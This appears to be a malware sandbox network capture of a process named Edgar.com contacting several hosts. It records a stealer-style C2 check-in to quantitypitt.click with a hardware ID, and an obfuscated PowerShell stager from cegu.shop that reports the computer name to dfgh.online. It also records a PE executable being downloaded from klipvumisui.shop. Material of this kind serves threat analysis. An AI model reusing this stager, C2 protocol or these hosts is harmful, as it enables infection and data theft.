2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 38 aa c5 7a a2 62 ff 81 6c 53 ff 55 a9 ef 4f d9 2f 8e 5d e8 95 8a 7e da d8 7d 1c ac f0 4d 94 b5 37 11 24 1e 01 d3 5a 18 69 15 90 32 35 b0 4a a2 ea ef 1c b4 59 24 8c 49 df b8 d1 41 d3 c2 24 ba 81 5e 02 11 03 2e 1f 57 fb 7e 08 93 af 75 5a 83 68 01 74 ce e2 7b 0f 00 e5 48 f8 75 03 c3 52 3e b3 92 7b 46 99 61 f6 81 84 88 16 6d 37 28 41 0b e4 bb 73 54 20 38 9e 40 b9 c4 3c 05 51 15 2e ac 67 23 33 66 f9 13 c1 44 19 74 f9 63 43 d5 e7 dd e4 a9 10 db d9 9b 47 90 ca c3 29 21 46 f9 b2 c1 16 f2 cf b7 26 a6 22 af 07 8a ad 0c 4a f8 eb cf 50 cb 9d 08 90 ca fc 3d 88 02 0c 19 75 77 b6 c8 a9 fa a8 37 05 7b 49 dd 7b 2d d4 72 34 b6 a7 e3 c8 f1 ac dc 2d 81 b7 5e c6 ad 5b f7 b8 0f 51 80 b1 28 dd 2a 0e d3 1f 04 fb 41 4d 03 61 84 45 c0 56 5b 13 18 53 e6 1d be af 01 b8 39 67 45 51 Data Ascii: 8zblSUO/]~}M7$Zi25JY$IA$^.W~uZht{HuR>{Fam7(AsT 8@<Q.g#3fDtcCG)!F&"JP=uw7{I{-r4-^[Q(*AMaEV[S9gEQ
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 8d 54 64 a9 b3 ad 1b 74 9d 87 36 1a f0 df 4d 27 6c 48 d4 2d 02 a4 2b 67 25 9f e1 cf 9e 58 73 ad 8f 16 37 d5 48 eb 69 16 22 36 05 98 7a 56 65 ed 16 88 f6 9e 6c ea 34 73 e4 d9 34 a1 b4 eb ad 2b 83 56 e1 90 f7 63 e3 98 12 52 52 a6 ba 00 10 62 5d 10 23 b9 6d 0f 1b 16 bc 59 b1 71 08 8f da 19 87 bb 40 ee 3b 20 0e e1 23 7a 1a c8 c1 53 6b 3d 12 11 9e f1 ef 5f e9 17 35 85 1e 10 ce 1a e7 4f f5 d1 2f 88 f9 b6 11 8e fb 76 f8 7e e8 cc 07 35 51 de 43 e2 ff ef b4 6b b0 09 a8 a1 18 10 a3 87 4a 85 c2 33 8e 83 cc 88 fa 8f 00 ae bf 00 ab b3 a4 ea 7e 4f 9c 3f 10 cb 30 32 72 29 9c 0a 82 e3 36 1d 53 a3 c3 47 32 36 5f 58 3f e2 e9 30 a3 7f 5f 11 43 c1 dd c3 d9 20 c9 8b ac 87 5a a9 36 83 4d d5 88 ee a9 6b b8 fd 99 01 d8 f4 77 46 7d 62 e5 62 a8 90 20 2c 09 be 59 ea db e3 ea ca 39 Data Ascii: Tdt6M'lH-+g%Xs7Hi"6zVel4s4+VcRRb]#mYq@; #zSk=_5O/v~5QCkJ3~O?02r)6SG26_X?0_C Z6MkwF}bb ,Y9
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 61 69 b7 85 64 b5 5f f4 69 fc c6 d4 fb ca 69 1a 08 0b 55 21 81 05 fb cc ee 7e ed 96 c1 df 9d 19 1b e6 da 65 fb 3b 4d 6a f5 fb f3 c3 76 dc a1 1d ac 7f 5e ca 14 09 54 20 d1 7c 0f 07 38 b1 d5 bf b1 4c 5f 6a 33 57 73 94 cf 6e 8a 14 a1 1a 89 87 a8 c2 af 88 bd 7c b9 79 86 b5 a4 5a fd 8b f8 17 b3 d5 15 41 9a c6 2f e2 b1 69 0a 77 e0 0c 19 98 8f 33 9f fc 0d 38 24 4e 8f 18 55 fd c0 c6 8c f5 4e ec 97 c7 d4 57 36 f8 16 32 84 4e 57 1d 74 d8 64 ec 0b 6c 09 a0 1c 8b 7c 9f 2a 1e 55 5f 8d 96 8d 22 15 7c 71 b4 db 53 2b fd de ec 5e f0 93 41 54 d3 f3 f5 9a 95 b6 5c 61 cf f9 3c 43 d8 70 cf ef d9 c2 da d4 27 d4 ee 0f 84 a9 6f 85 22 ce 80 3c bd 4d 1b d1 b7 fd a0 1f ba b6 fa 43 54 61 a8 78 4f 7d e5 26 67 f3 50 21 d6 54 88 2c 2c e8 7b cf 74 3e 0c 26 9b 85 9d 97 1d f9 7e 18 23 27 Data Ascii: aid_iiU!~e;Mjv^T \|8L_j3Wsn\|yZA/iw38$NUNW62NWtdl\|*U_"\|qS+^AT\a<Cp'o"<MCTaxO}&gP!T,,{t>&~#'
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: c2 9f d6 e9 df 3f 4f f4 33 b0 d7 4e 49 5f 51 b9 79 95 c8 77 2c e0 75 94 ca 7f 02 35 bd a7 0f 3a 94 07 97 5b 6f 3d 51 b0 98 d5 8d f2 8b 7b 1e a8 73 c4 fa c8 25 f7 ae 1f 25 67 ff a0 6a 9e 07 ec d8 38 13 3f 29 26 ed c1 a6 3c c7 85 9f cf 0f 7e 3b c0 2a b3 d1 ed e8 eb 7c 78 7d 30 a4 6e bc 38 b5 63 3f 39 d7 99 7b dd f2 ba 43 d7 d9 7c cd 82 b4 36 66 ef cf fc 73 1d 9d b1 b2 83 7b 2f 2c f5 2d ac bc 55 77 cc a1 fe d9 1f 76 5e cb 1c 44 3c 3e 07 f1 49 42 b5 15 be df bd 76 7c f0 64 9c 4f 77 de c3 97 9c d5 d0 95 3a 75 62 25 df 68 ff df f4 c1 44 da c0 c3 49 e7 db 35 39 7f 85 2d 74 45 75 35 48 5d 0a 5b 58 2f b9 81 42 85 b4 8e a5 e5 e4 36 8c a5 ae bc a5 ad da 58 b8 2e 18 fe 8c 4d cb 68 b8 d2 12 74 84 24 56 57 f3 95 fa 27 ca ed ed c2 44 56 fb 66 d6 8f ad ac ad c7 53 57 6c Data Ascii: ?O3NI_Qyw,u5:[o=Q{s%%gj8?)&<~;*\|x}0n8c?9{C\|6fs{/,-Uwv^D<>IBv\|dOw:ub%hDI59-tEu5H][X/B6X.Mht$VW'DVfSWl
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 99 5b 7e f5 48 74 71 ab 7e bb d0 79 17 5b f7 51 f0 72 3e 95 4a 9a 0c c0 3f 91 87 db e7 3c 45 9b 03 cf 0c af c6 30 8e e1 5b 16 44 0d f8 d7 bf f7 20 77 83 99 05 e5 16 ba 20 26 25 a9 de 60 51 3b 1e d6 c4 78 4e 49 e7 b0 df 31 95 51 e6 58 e6 76 6c 67 b7 b6 1b 0c 47 84 3f d1 6d 37 e2 4b 70 3f ed f4 a6 f3 d5 c0 0e 84 6b 3f 42 db b3 5d 9b b3 db 44 1e 91 a6 bf 9e 15 95 db 88 c3 a3 04 57 f0 c0 cf 1c cf f6 39 e0 3c 54 3e cf 21 8f bc 2f 65 13 20 07 12 fb 6e 34 75 b9 34 60 17 cd e1 5e 42 e5 2f 89 f7 62 33 2f da 2d eb cf 10 64 2e 06 20 93 eb 16 c6 21 51 32 ef 2c 8b 3b 05 dd d8 78 36 92 4c a4 c8 6d 38 96 e4 cd 7b 08 f1 4f 24 d5 ed c7 e7 cf 7b b6 89 ca 2b 81 84 d5 d9 fe 66 dd b4 a6 9e 4b 40 4f c9 4c 27 fd 82 fe eb 7d fa 9a ad af 16 69 ca 95 e8 8f 47 5e 94 e0 80 4c 46 44 Data Ascii: [~Htq~y[Qr>J?<E0[D w &%`Q;xNI1QXvlgG?m7Kp?k?B]DW9<T>!/e n4u4`^B/b3/-d. !Q2,;x6Lm8{O${+fK@OL'}iG^LFD
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: 9f c8 de c1 1d 09 26 11 c4 57 1d 93 43 f7 24 8c 31 8a 01 62 d1 26 05 4e 1a 24 04 5a c1 ca 30 eb 1e 6f 4c c6 6c fd b6 c5 77 7d 83 8d ab ed 36 e3 a9 e2 39 9c d6 87 8a ff f6 85 cf 6a 97 f1 c4 79 6a 73 31 72 29 d3 2c 4c 6c c6 80 4d 0e dd 33 67 26 b7 1f 4d 22 6d a4 2d 21 bf a1 45 7e 19 56 86 64 9f c9 84 e1 34 ac cc 28 34 ba d7 0c b1 56 93 da 42 e6 12 cb 8f ff 89 0e 23 60 85 e2 94 42 a1 84 0a 81 66 bd 21 93 8a 0f 32 da 56 f6 b8 6e 9b 2e c5 61 c5 6c 68 45 13 ec 30 e9 28 c0 c6 ec bb a8 59 ca 0b 08 22 67 46 05 dd 25 8f b0 5e 30 ac 38 d9 46 9b 12 5b ab 37 67 28 26 5b c0 dc c0 d8 bf 0e a7 02 1e 7d 11 65 88 22 54 d4 82 74 0b da 46 40 71 f7 7d 3b dc d2 7c 10 45 45 e8 03 b6 63 4f 09 f6 5a c6 6c 7c 0f 93 94 ad 2c 75 9d a6 b0 c8 7f f9 20 a5 b0 03 6d af 8d 05 f3 85 a5 7c Data Ascii: &WC$1b&N$Z0oLlw}69jyjs1r),LlM3g&M"m-!E~Vd4(4VB#`Bf!2Vn.alhE0(Y"gF%^08F[7g(&[}e"TtF@q};\|EEcOZl\|,u m\|
2025-01-05 16:55:34 UTC	15331	OUT	Data Raw: da 66 4a cb 6b e4 8a d6 58 78 e1 c8 15 4e 98 62 32 91 ea 0d a0 41 63 2a 5b 8d 88 c0 eb ef c4 9d 2d 42 6e 7e f4 6f a6 ee e1 03 ca 7f 67 7d 73 78 b9 f9 43 34 72 6a 34 0e fb f1 00 db e3 11 ca c8 af f8 fc ee a8 3d 6a ba 70 b9 7d 49 ff 31 57 92 5a 60 4a 08 72 8e 24 e5 a0 1b be e5 20 43 d1 07 88 70 1b c9 c2 25 f1 b4 0f 20 a2 6f 8e 50 06 d3 c1 60 5b 15 10 37 38 40 a1 41 49 4a 2b 6b 3f f8 ab 4f 7d ad bd 85 de 54 a0 52 2f 01 b5 13 11 ab fe 23 d8 dd 75 2c d6 da 0f 5c 01 68 14 de 15 c0 91 ee 48 ed 71 d0 79 18 7b 22 b8 4b 5c ec 4d d5 b6 12 3b 36 e8 22 0a ff 22 46 07 08 22 11 36 6a 59 40 ed 08 af b3 6a f4 dd 18 d6 63 c9 4d 9b c8 b0 92 7d 22 d9 7c 35 1f 01 ef c8 51 fd 37 67 39 0f e3 e1 5b 7b 8d 74 b8 de 34 78 1d 90 7e 6d 64 98 8c 60 d7 e7 f4 cc f9 3e 74 7e f2 1e b3 4c Data Ascii: fJkXxNb2Ac*[-Bn~og}sxC4rj4=jp}I1WZ`Jr$ Cp% oP`[78@AIJ+k?O}TR/#u,\hHqy{"K\M;6""F"6jY@jcM}"\|5Q7g9[{t4x~md`>t~L
2025-01-05 16:55:35 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ee7h4cv1bv3q159lqgcpnt6o5o; expires=Thu, 01 May 2025 10:42:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oOIYSAxYK56mLcEixYjWTCNxtdieGymDjGnW1P0eH7OorYeCMkU5U7x2hxryQMK2RxB0lpTGSMUTdpO4DX%2FSCN0xcAOzKlETruEEk1JIUbq6PTmMGgffcwY2PjO5i9OYHSwNAoo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4ff284eb18ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2044&min_rtt=2044&rtt_var=767&sent=200&recv=588&lost=0&retrans=0&sent_bytes=2846&recv_bytes=571407&delivery_rate=1425781&cwnd=211&unsent_bytes=0&cid=70d1b8579f871aa7&ts=1621&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49826	172.67.186.189	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:36 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: quantitypitt.click
2025-01-05 16:55:36 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 54 52 4f 4e 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 32 33 33 30 46 46 36 35 45 31 32 42 46 36 37 42 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--TRON&j=637b55279021aab33278188cfa638397&hwid=2330FF65E12BF67B92A467F615F074C7
2025-01-05 16:55:36 UTC	1126	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8cup749iv4eh8pgpsp6sqamfn; expires=Thu, 01 May 2025 10:42:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zNCUuBUXlhbe6LoiKe%2FIsWK9FX0ker4fvnURw5N5DHiQM1KL5zniKRkT3hX5rwaN1hHeQihMYjncI2FW8qLkU%2FA1FpYtOesuo5LmGzF9FsvQlxgSU2ltxgErLieuBi5BTlQAnIg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4ff35887ac44a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1736&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1016&delivery_rate=1655328&cwnd=228&unsent_bytes=0&cid=79d9ae7511fc8193&ts=459&x=0"
2025-01-05 16:55:36 UTC	218	IN	Data Raw: 64 34 0d 0a 62 6e 58 46 4d 4e 38 7a 51 7a 32 62 70 4b 71 69 58 51 4a 68 4c 41 4e 74 44 69 78 50 4a 57 73 42 44 33 5a 46 67 71 70 39 6b 52 6f 31 44 75 64 46 2f 51 6c 68 56 65 2f 51 32 74 46 6e 58 6b 35 77 4c 41 35 72 53 7a 6f 4c 47 47 6c 67 42 68 6d 74 6b 6b 69 6d 4c 6c 78 44 39 77 54 72 42 52 38 53 36 38 79 45 31 69 56 32 51 77 41 68 43 33 6f 4f 64 52 64 48 49 32 70 55 66 37 50 58 55 65 6f 34 47 31 66 2f 45 72 64 48 4e 30 33 6f 6e 76 61 4e 41 53 30 4b 51 47 6f 64 65 46 6b 69 54 42 68 30 5a 6c 67 32 36 73 55 4e 7a 54 55 48 47 37 46 76 76 46 38 7a 59 75 6a 4d 79 34 77 70 65 68 55 4f 4c 30 39 6f 57 47 30 66 57 79 30 74 45 32 65 34 6d 67 44 4d 0d 0a Data Ascii: d4bnXFMN8zQz2bpKqiXQJhLANtDixPJWsBD3ZFgqp9kRo1DudF/QlhVe/Q2tFnXk5wLA5rSzoLGGlgBhmtkkimLlxD9wTrBR8S68yE1iV2QwAhC3oOdRdHI2pUf7PXUeo4G1f/ErdHN03onvaNAS0KQGodeFkiTBh0Zlg26sUNzTUHG7FvvF8zYujMy4wpehUOL09oWG0fWy0tE2e4mgDM
2025-01-05 16:55:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49832	185.161.251.21	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:37 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-05 16:55:37 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sun, 05 Jan 2025 16:55:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-05 16:55:37 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49843	172.67.208.58	443	5372	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 16:55:38 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2025-01-05 16:55:38 UTC	903	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 16:55:38 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jKuboQdVO8jtbh9krYsSkJsPKfOq6c%2BFOlgRp%2Fy4uZ%2BU5Hsc5ibc45%2Fl0o9tSpfrrPI5k4U9VvSXc64XcFhwdc6SgdUmhrR3BxYqgfuCWrpZOFiNobAV5tsiNWFUJAik1z6r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd4ff418cb5c445-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1674&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2866&recv_bytes=820&delivery_rate=1664766&cwnd=230&unsent_bytes=0&cid=508d2a7381ec8db8&ts=281&x=0"
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 09 4e 61 74 69 76 65 49 6e 74 04 00 00 00 80 ff ff ff 7f 02 00 00 00 74 11 40 00 01 0a 4e 61 74 69 76 65 55 49 6e 74 05 00 00 00 00 ff ff ff ff 02 00 00 90 11 40 00 04 06 53 69 6e 67 6c 65 00 02 00 00 a0 11 40 00 04 08 45 78 74 65 6e 64 65 64 02 02 00 00 00 00 b4 11 40 00 04 06 44 6f 75 62 6c 65 01 02 00 00 c4 11 40 00 04 04 43 6f 6d 70 03 02 00 00 00 00 d4 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 02 00 00 00 00 e8 11 40 00 05 0b 53 68 6f 72 74 53 74 72 69 6e 67 ff 02 00 fc 11 40 00 14 09 50 41 6e 73 69 43 68 61 72 30 10 40 00 02 00 00 00 00 14 12 40 00 14 09 50 57 69 64 65 43 68 61 72 4c 10 40 00 02 00 00 00 00 2c 12 40 00 03 08 42 79 74 65 42 6f 6f 6c 00 00 00 00 80 ff ff ff 7f 28 12 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 Data Ascii: NativeIntt@NativeUInt@Single@Extended@Double@Comp@Currency@ShortString@PAnsiChar0@@PWideCharL@,@ByteBool(@FalseTrueSystem
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 00 02 00 0b 28 9c 4a 00 0c 26 6f 70 5f 4c 65 73 73 54 68 61 6e 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 13 26 6f 70 5f 4c 65 73 73 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 7c 17 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 40 00 00 00 00 00 7c 17 40 00 00 00 00 00 92 18 40 00 08 00 00 00 00 00 00 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 22 00 9a 18 40 00 44 00 f4 ff c0 18 40 00 42 00 f4 ff e4 18 40 00 42 00 f4 ff 0d 19 40 00 43 00 f4 ff 4b 19 40 00 42 00 f4 ff 7a 19 40 00 42 00 f4 ff a3 Data Ascii: (J&op_LessThan@@Left@Right(J&op_LessThanOrEqual@@Left@Right\|@@\|@@~@@@@@@@@}@}@}@"@D@B@B@CK@Bz@B
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f 40 00 0c 47 65 74 49 6e 74 65 72 66 61 63 65 03 00 00 10 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 20 00 00 00 00 02 00 03 4f 62 6a 02 00 02 00 3e 00 68 7f 40 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 03 00 a0 14 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 02 00 31 00 28 9c 4a 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 03 00 2c 15 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 ac 7f 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 02 00 00 00 00 Data Ascii: Address@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@Self3@UnitName@
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 00 00 94 21 40 00 07 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 78 21 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 18 22 40 00 00 00 00 00 00 00 00 00 00 00 00 00 34 22 40 00 00 00 00 00 18 22 40 00 00 00 00 00 1e 22 40 00 08 00 00 00 c4 1f 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 34 22 40 00 07 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 18 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 b8 22 40 Data Ascii: @@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @System"@4"@"@"@@~@@@@@@@@}@}@}@VolatileAttribute4"@VolatileAttribute"@4 @System"@
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 74 02 00 02 00 09 e8 89 40 00 08 50 75 6c 73 65 41 6c 6c 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 e8 26 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca 00 00 83 44 24 04 f8 e9 9f ca 00 00 83 44 24 04 f8 e9 b1 ca 00 00 cc 85 27 40 00 8f 27 40 00 99 27 40 00 01 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t@PulseAll@AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@
2025-01-05 16:55:38 UTC	1369	IN	Data Raw: 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 a8 2b 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 02 00 00 00 00 84 2c 40 00 0e 0a 54 56 61 72 52 65 63 6f 72 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 07 50 52 65 63 6f 72 64 02 00 00 11 40 00 04 00 00 00 02 07 52 65 63 49 6e 66 6f 02 00 02 00 00 00 00 cc 2c 40 00 0e 08 54 56 61 72 44 61 74 61 10 00 00 00 00 00 00 00 00 20 00 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 Data Ascii: ount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Reserved1@Re
